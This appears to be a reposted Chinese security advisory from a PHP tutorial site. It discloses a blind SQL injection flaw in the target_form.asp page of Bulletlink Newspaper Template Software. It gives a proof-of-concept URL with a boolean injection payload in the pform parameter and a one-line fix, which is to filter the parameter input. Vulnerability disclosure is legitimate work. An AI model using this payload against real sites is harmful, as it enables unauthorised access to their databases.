Bulletlink Newspaper Template Software 0day盲注缺陷及修复-自学php网

Bulletlink Newspaper Template Software 0day盲注缺陷及修复

来源：自学PHP网时间：2015-04-17 14:47 作者：阅读:次

[导读] Bulletlink Newspaper Template Software (target_form.asp) 0day Blind SQL-Injection作者: easypwn官网: www.bulletlink.com测试平台: Windows 2000, Windows 2003, Windows 2008. (Microsoft......

Bulletlink Newspaper Template Software (target_form.asp) 0day Blind SQL-Injection

作者: easypwn

官网: www.bulletlink.com

测试平台: Windows 2000, Windows 2003, Windows 2008. (Microsoft SQL Server)

测试：
http://www.2cto.com /target_form.asp?pform={{DeleteMember}}'SQLi

模拟:
http://www.2cto.com /target_form.asp?pform={{DeleteMember}}'%20AND%208589=8589%20AND%20'pRKy'='pRKy

修复：过滤target_form.asp页面参数输入

PHP Support Tickets v2.2代码执行缺陷及修复 - 网站安

AstroCMS多重远程缺陷及修复 - 网站安全 - 自学ph

子栏目

Bulletlink Newspaper Template Software 0day盲注缺陷及修复

最新评论

添加评论

更多文章推荐

添加评论